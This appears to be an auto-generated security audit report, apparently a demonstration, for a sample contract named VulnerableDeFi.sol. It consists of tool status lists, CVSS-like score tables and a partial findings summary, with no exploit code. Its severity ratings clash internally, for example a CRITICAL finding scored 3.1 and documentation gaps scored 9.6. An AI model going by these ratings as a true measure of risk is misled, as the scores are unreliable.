



Multi-layer Intelligent Evaluation for Smart Contracts

Smart Contract Security Audit

VulnerableDeFi.sol

Acme DeFi Protocol

Prepared by: **MIESC Security Team**

Audit Date: 2026-02-02

Report Date: 2026-02-02 15:31:50

Version: 1.0

CONFIDENTIAL

This document contains confidential security findings and is intended solely for the addressee. Unauthorized distribution is prohibited.

Table of Contents

1. Executive Summary
 2. Scope & Methodology
 3. Risk Assessment
 4. Findings Overview
 5. Detailed Findings
 6. Remediation Roadmap
 7. Appendices
-

1. Executive Summary

1.1 Key Takeaways

1.2 Deployment Recommendation

Recommendation: NO-GO

Contract has 26 critical vulnerabilities that must be fixed before deployment. Immediate remediation required.

1.3 Risk Summary

METRIC	VALUE
Overall Risk Score	100/100
Exploitability	Medium
Business Impact	Medium
Confidence Level	High

Findings by Severity

SEVERITY	COUNT	% OF TOTAL
Critical	26	16.0%
High	17	10.5%
Medium	80	49.4%
Low	29	17.9%
Informational	10	6.2%
Total	162	100%

1.4 Impact Assessment

Based on the identified vulnerabilities:

IMPACT CATEGORY	ASSESSMENT
Confidentiality	High - Sensitive data or state could be exposed
Integrity	High - Contract state could be manipulated
Availability	Medium - Denial of service possible

2. Scope & Methodology

2.1 Engagement Details

PROPERTY	VALUE
Client	Acme DeFi Protocol
Contract	VulnerableDeFi.sol
Repository	Local Analysis
Commit Hash	N/A
Network	Ethereum Mainnet
Engagement Type	Security Audit

2.2 Scope

In Scope

FILE	LINES	DESCRIPTION
VulnerableDeFi.sol	135	Smart Contract

Total: 1 files, 135 lines of code

Out of Scope

- External dependencies and imported libraries
- Off-chain components
- Economic/tokenomics analysis
- Frontend/backend applications

2.3 Methodology

This audit employed MIESC's comprehensive 9-layer defense-in-depth methodology:

```
Layer 1: Static Analysis      [--]  
Layer 2: Dynamic Testing     [--]  
Layer 3: Symbolic Execution  [--]  
Layer 4: Formal Verification [--]  
Layer 5: Property Testing    [--]  
Layer 6: AI/LLM Analysis     [--]  
Layer 7: Pattern Recognition [--]  
Layer 8: DeFi Security       [--]  
Layer 9: Advanced Detection  [--]
```

Tools Utilized

LAYER	TOOL	VERSION	STATUS
Layer 1: Static Analysis	slither	latest	Success
Layer 1: Static Analysis	aderyn	latest	Success
Layer 1: Static Analysis	solhint	latest	Success
Layer 1: Static Analysis	wake	latest	Failed
Layer 1: Static Analysis	semgrep	latest	Failed
unknown	fouranalyzer	latest	Success
Layer 2: Dynamic Testing	echidna	latest	Failed
Layer 2: Dynamic Testing	medusa	latest	Failed
Layer 2: Dynamic Testing	foundry	latest	Success
Layer 2: Dynamic Testing	dogefuzz	latest	Success
Layer 2: Dynamic Testing	vertigo	latest	Failed
Layer 2: Dynamic Testing	hardhat	latest	Failed
Layer 3: Symbolic Execution	mythril	latest	Failed
Layer 3: Symbolic Execution	manticore	latest	Failed
Layer 3: Symbolic Execution	halmos	latest	Failed
Layer 3: Symbolic Execution	oyente	latest	Success
unknown	pakala	latest	Success
Layer 4: Formal Verification	certora	latest	Failed
Layer 4: Formal Verification	smtchecker	latest	Failed
Layer 4: Formal Verification	propertygpt	latest	Success
Layer 4: Formal Verification	scribble	latest	Success
unknown	solcmc	latest	Success
Layer 6: AI/LLM Analysis	smartlm	latest	Failed
Layer 6: AI/LLM Analysis	gptscan	latest	Failed
Layer 6: AI/LLM Analysis	llmsmartaudit	latest	Failed

LAYER	TOOL	VERSION	STATUS
unknown	gptlens	latest	⚠ Failed
unknown	llamaaudit	latest	✅ Success
unknown	iaudit	latest	✅ Success
Layer 7: ML Detection	dagmn	latest	✅ Success
Layer 7: ML Detection	smartbugs_ml	latest	✅ Success
Layer 7: ML Detection	smartbugs_detector	latest	✅ Success
Layer 7: ML Detection	smartguard	latest	⚠ Failed
unknown	peculiar	latest	✅ Success
Layer 9: Specialized Analysis	threat_model	latest	✅ Success
Layer 9: Specialized Analysis	gas_analyzer	latest	✅ Success
Layer 8: DeFi Security	mev_detector	latest	✅ Success
Layer 9: Specialized Analysis	contract_clone_detector	latest	✅ Success
Layer 8: DeFi Security	defi	latest	✅ Success
Layer 9: Specialized Analysis	advanced_detector	latest	✅ Success
unknown	upgradability_checker	latest	✅ Success

Audit Process

1. **Initial Assessment** - Review documentation, understand architecture
2. **Automated Analysis** - Execute multi-layer tool suite
3. **Manual Review** - Deep dive into flagged code sections
4. **AI Correlation** - Cross-reference findings, reduce false positives
5. **Verification** - Reproduce and validate vulnerabilities
6. **Report Generation** - Document findings with remediation guidance

2.4 Limitations

- Time-boxed engagement (N/A)
- Analysis based on code snapshot at commit N/A
- No guarantee of finding all vulnerabilities
- Economic attack vectors not fully modeled
- Dependency vulnerabilities may exist beyond analysis scope

3. Risk Assessment

3.1 Risk Matrix

The following matrix maps findings by **Impact** (vertical) and **Likelihood** (horizontal):

		LIKELIHOOD		
		Low	Medium	High
IMPACT →	High	Medium 0	High 17	Critical 26
	Med	Low 0	Medium 80	High 0
	Low	Info 10	Low 29	Medium 0

3.2 CVSS-like Scoring

FINDING ID	TITLE	BASE SCORE	VECTOR
4NALY-421bf77b6346	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-0ed779d7f512	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-8111c214de85	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-326579af4baf	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-f785564d36bf	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-27992f75b9e0	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-334df36e058a	centralization_risk	3.1	AV:N/ AC:H/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:L/ A:N
4NALY-5f7cb1f8ecbc	missing_zero_address_check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-1fa71fac8074	missing_zero_address_check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-f918b6956f7b	missing_zero_address_check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-53d6a74bb1c7	missing_zero_address_check	3.1	AV:N/ AC:H/ PR:L/ UI:N/ C:N/I:L/ A:N
4NALY-37cf16c5a2c3	missing_zero_address_check	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
4NALY-582edddc3cfb	missing_zero_address_check	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
4NALY-9afca36d8363	missing_zero_address_check	8.0	AV:N/ AC:H/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:H
4NALY-50399c91fc0c	missing_zero_address_check	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
4NALY-280c7822bfbf	use_of_block_timestamp	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
4NALY-2b7846d12cbe	use_of_block_timestamp	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
4NALY-02b8abcef10f	missing_event_emission	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
4NALY-019e85ffa7f6	magic_numbers	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
4NALY-80ca10b61eb6	loop_length_caching	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
OYE-2dc1ef9b7f32	time_dependency	3.7	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:N/I:L/ A:N
OYE-cd93b9f3495d	time_dependency	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
PKL-f846d85873f0	state_manipulation	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
PKL-c9a1ced8834d	privilege_escalation_sequence	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-bf7da8c304bb	precondition_failure	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-c180780e0d80	precondition_failure	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-034f11a90c57	precondition_failure	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-ee5002ad9f1c	precondition_failure	3.7	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-2cf9c503ca4c	precondition_failure	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-32a26bf8f64d	postcondition_failure	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-8be36f77110e	postcondition_failure	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-95ea5e193677	postcondition_failure	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-87e6c0ddc639	postcondition_failure	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-e46418db1520	missing_annotation_coverage	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
SCR-d0e870c6c7f9	missing_annotation_coverage	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-ece26cf3fee4	missing_annotation_coverage	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-60c150a344a3	missing_annotation_coverage	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-aa4c48046c43	missing_annotation_coverage	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-adff34a21036	missing_annotation_coverage	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-c558f5f7aef3	missing_annotation_coverage	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-599765a4200a	missing_annotation_coverage	3.7	AV:N/ AC:H/ PR:N/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:L/ A:N
SCR-a4ca907fc05d	missing_annotation_coverage	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-c3df70a58ed8	missing_annotation_coverage	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
SCR-b279d6ba3f27	missing_annotation_coverage	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
SCR-000fa1970171	missing_annotation_coverage	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
SCR-bcad10238d8c	missing_annotation_coverage	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
SCR-94c1d5d1278c	missing_annotation_coverage	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
SCR-2bce88865268	missing_annotation_coverage	8.0	AV:N/ AC:H/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:H
SCR-077ac7b82dff	missing_annotation_coverage	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
aderyn-selfdestruct-identifier-0-0	selfdestruct-identifier	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
aderyn-delegate-call-unchecked-address-1-0	delegate-call-unchecked-address	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
aderyn-unchecked-return-2-0	unchecked-return	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
aderyn-weak-randomness-3-0	weak-randomness	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
aderyn-centralization-risk-4-0	centralization-risk	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
llamaaudit-pattern-access_control-1	access_control	3.7	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:N/I:L/ A:N
llamaaudit-pattern-access_control-2	access_control	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
llamaaudit-pattern-access_control-3	access_control	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
llamaaudit-pattern-access_control-4	access_control	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
llamaaudit-pattern-access_control-5	access_control	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
llamaaudit-pattern-access_control-6	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-access_control-7	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-access_control-8	access_control	8.0	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-access_control-9	access_control	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-access_control-10	access_control	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-selfdestruct-1	selfdestruct	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-delegatecall-1	delegatecall	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-timestamp_dependence-1	timestamp_dependence	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-timestamp_dependence-2	timestamp_dependence	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H

FINDING ID	TITLE	BASE SCORE	VECTOR
llamaaudit-pattern-floating_pragma-1	floating_pragma	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-denial_of_service-1	denial_of_service	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
iaudit-pattern-3	Unprotected Self-Destruct	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
iaudit-pattern-6	Delegatecall to Untrusted Callee	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
iaudit-pattern-7	Denial of Service via Gas Limit	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
iaudit-pattern-8	Front-Running / Transaction Ordering Dependence	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
iaudit-pattern-9	Front-Running / Transaction Ordering Dependence	8.0	AV:N/ AC:H/ PR:N/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:H
iaudit-pattern-1	Integer Overflow / Underflow	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
iaudit-pattern-4	Timestamp Dependence	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
iaudit-pattern-5	Timestamp Dependence	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
iaudit-pattern-2	Unchecked Low-Level Call	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
CMC-f46d0eb956a6	solcmc_divByZero	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
CMC-c36f93bd0cb2	solcmc_outOfBounds	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
CMC-54ef309da131	solcmc_outOfBounds	3.7	AV:N/ AC:H/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:L/ A:N
CMC-279ef4e73a37	solcmc_outOfBounds	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
CMC-2e2e6f850896	solcmc_outOfBounds	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
CMC-c2e7523e6ca2	solcmc_outOfBounds	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
CMC-6721890cf450	solcmc_outOfBounds	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
CMC-64a09836e4c3	solcmc_outOfBounds	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
UNK	delegatecall	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
UNK	bad_randomness	8.0	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:N/I:H/ A:H
UNK	unprotected_selfdestruct	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
SB-BAD_RANDOMNESS-1	Weak Randomness Source	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
SB-BAD_RANDOMNESS-2	Weak Randomness Source	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
SB-BAD_RANDOMNESS-3	Weak Randomness Source	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
SB-SHORT_ADDRESSES-4	Short Address Attack Vulnerability	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
SB-SHORT_ADDRESSES-5	Short Address Attack Vulnerability	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
SB-SHORT_ADDRESSES-6		9.6	

FINDING ID	TITLE	BASE SCORE	VECTOR
	Short Address Attack Vulnerability		AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
SB-SHORT_ADDRESSES-7	Short Address Attack Vulnerability	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
SB-ACCESS_CONTROL-8	Missing Access Control	9.9	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:H
SB-ACCESS_CONTROL-9	Missing Access Control	9.9	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:H
SB-TIME_MANIPULATION-10	Timestamp Dependency	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
SB-TIME_MANIPULATION-11	Timestamp Dependency	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
PECULIAR-ACCESS_CONTROL-9446f629-0000	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H

FINDING ID	TITLE	BASE SCORE	VECTOR
PECULIAR- DELEGATECALL_INJECTION-9446f629-0001	delegatecall_injection	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
THREAT-SPOOFING-48	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-SPOOFING-73	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-SPOOFING-88	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-SPOOFING-93	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-SPOOFING-100	threat_model	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
THREAT-SPOOFING-106	threat_model	9.6	AV:N/ AC:L/ PR:N/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:H
THREAT-SPOOFING-113	threat_model	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
THREAT-SPOOFING-130	threat_model	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
THREAT-SPOOFING-134	threat_model	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
THREAT-TAMPERING-10	threat_model	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
THREAT-TAMPERING-43	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-33	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-38	threat_model	3.7	AV:N/ AC:H/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-43	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-48	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-59	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-65	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-73	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-88	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-93	threat_model	3.7	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-REPUDIATION-100	threat_model	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
THREAT-REPUDIATION-106	threat_model	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
THREAT-REPUDIATION-113	threat_model	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
THREAT-DENIAL OF SERVICE-67	threat_model	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
THREAT-ELEVATION OF PRIVILEGE-95	threat_model	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
THREAT-ELEVATION OF PRIVILEGE-102	threat_model	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
GAS-POSTFIX_INCREMENT-67	gas_optimization	3.7	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
GAS-PUBLIC_NOT_EXTERNAL-83	gas_optimization	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
GAS-ZERO_INIT-67	gas_optimization	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
GAS-ARRAY_LENGTH_LOOP-67	gas_optimization	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
MEV-SANDWICH_SWAP-48	mev_vulnerability	3.7	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:L/ A:N
ADV-RUG_PULL-1	Potential Rug Pull Pattern	7.9	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:N
ADV-RUG_PULL-2	Potential Rug Pull Pattern	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
ADV-RUG_PULL-3	Potential Rug Pull Pattern	7.9	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:N
ADV-RUG_PULL-4	Potential Rug Pull Pattern	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
ADV-RUG_PULL-5	Ownership Not Renounced	7.9	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:N
ADV-TOKEN_SECURITY-6	Token Security Issue	7.9	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:N
ADV-TOKEN_SECURITY-7	Token Security Issue	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
ADV-TOKEN_SECURITY-8	Token Security Issue	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
ADV-TOKEN_SECURITY-9	Token Security Issue	7.9	AV:N/ AC:L/ PR:N/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:N
ADV-PROXY_UPGRADE-10	Proxy/Upgrade Vulnerability	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
ADV-CENTRALIZATION_RISK-11	High Centralization Risk	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
ADV-CENTRALIZATION_RISK-12	Centralization Risk	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
ADV-CENTRALIZATION_RISK-13	Centralization Risk	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
ADV-CENTRALIZATION_RISK-14	No Timelock or Multi-sig	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
DEFI-SANDWICH_ATTACK-1	Missing Transaction Deadline	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
DEFI-MEV_EXPOSURE-2	MEV Exposure Detected	9.6	AV:N/ AC:L/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:H
DEFI-MEV_EXPOSURE-3	MEV Exposure Detected	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
slither-weak-prng-0	weak-prng	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
slither-controlled-delegatecall-1	controlled-delegatecall	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
slither-suicidal-2	suicidal	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
slither-uninitialized-state-3	uninitialized-state	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
slither-unused-return-4	unused-return	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
DAGNN-TIMESTAMP_DEPENDENCE-13a4d3a2	ml_detected_vulnerability	8.0	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:N/I:H/ A:H
DAGNN-DELEGATECALL-13a4d3a2	ml_detected_vulnerability	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
pattern-denial_of_service-15	denial_of_service	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
pattern-access_control-24	access_control	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
pattern-denial_of_service-120	denial_of_service	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H
pattern-denial_of_service-130	denial_of_service	8.0	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:H

Scoring Methodology: - **Attack Vector (AV):** Network, Adjacent, Local, Physical - **Attack Complexity (AC):** Low, High - **Privileges Required (PR):** None, Low, High - **User Interaction (UI):** None, Required - **Impact:** Confidentiality, Integrity, Availability

3.3 Risk Narrative

The analyzed contract presents security concerns that should be addressed before production deployment. The combination of findings indicates potential for exploitation if left unmitigated.

4. Findings Overview

4.1 Summary Table

ID	TITLE	SEVERITY	STATUS	CVSS
F-001	centralization_risk	INFO	open	3.1
F-002	centralization_risk	INFO	open	3.1
F-003	centralization_risk	LOW	open	3.1
F-004	centralization_risk	LOW	open	3.1
F-005	centralization_risk	LOW	open	3.1
F-006	centralization_risk	LOW	open	3.1
F-007	centralization_risk	INFO	open	3.1
F-008	missing_zero_address_check	LOW	open	3.1
F-009	missing_zero_address_check	LOW	open	3.1
F-010	missing_zero_address_check	MEDIUM	open	3.1
F-011	missing_zero_address_check	MEDIUM	open	3.1
F-012	missing_zero_address_check	CRITICAL	open	3.1
F-013	missing_zero_address_check	MEDIUM	open	3.1
F-014	missing_zero_address_check	MEDIUM	open	3.1
F-015	missing_zero_address_check	MEDIUM	open	3.1
F-016	use_of_block_timestamp	MEDIUM	open	8.0
F-017	use_of_block_timestamp	MEDIUM	open	8.0
F-018	missing_event_emission	LOW	open	3.7
F-019	magic_numbers	MEDIUM	open	3.7
F-020	loop_length_caching	LOW	open	3.7
F-021	time_dependency	MEDIUM	open	3.7
F-022	time_dependency	MEDIUM	open	3.7
F-023	state_manipulation	MEDIUM	open	3.7
F-024	privilege_escalation_sequence	LOW	open	3.7
F-025	precondition_failure	LOW	open	3.7

ID	TITLE	SEVERITY	STATUS	CVSS
F-026	precondition_failure	LOW	open	3.7
F-027	precondition_failure	MEDIUM	open	3.7
F-028	precondition_failure	MEDIUM	open	3.7
F-029	precondition_failure	MEDIUM	open	3.7
F-030	postcondition_failure	MEDIUM	open	3.7
F-031	postcondition_failure	MEDIUM	open	3.7
F-032	postcondition_failure	MEDIUM	open	3.7
F-033	postcondition_failure	MEDIUM	open	3.7
F-034	missing_annotation_coverage	INFO	open	3.7
F-035	missing_annotation_coverage	LOW	open	3.7
F-036	missing_annotation_coverage	LOW	open	3.7
F-037	missing_annotation_coverage	INFO	open	3.7
F-038	missing_annotation_coverage	LOW	open	3.7
F-039	missing_annotation_coverage	LOW	open	3.7
F-040	missing_annotation_coverage	MEDIUM	open	3.7
F-041	missing_annotation_coverage	MEDIUM	open	3.7
F-042	missing_annotation_coverage	MEDIUM	open	3.7
F-043	missing_annotation_coverage	MEDIUM	open	3.7
F-044	missing_annotation_coverage	CRITICAL	open	3.7
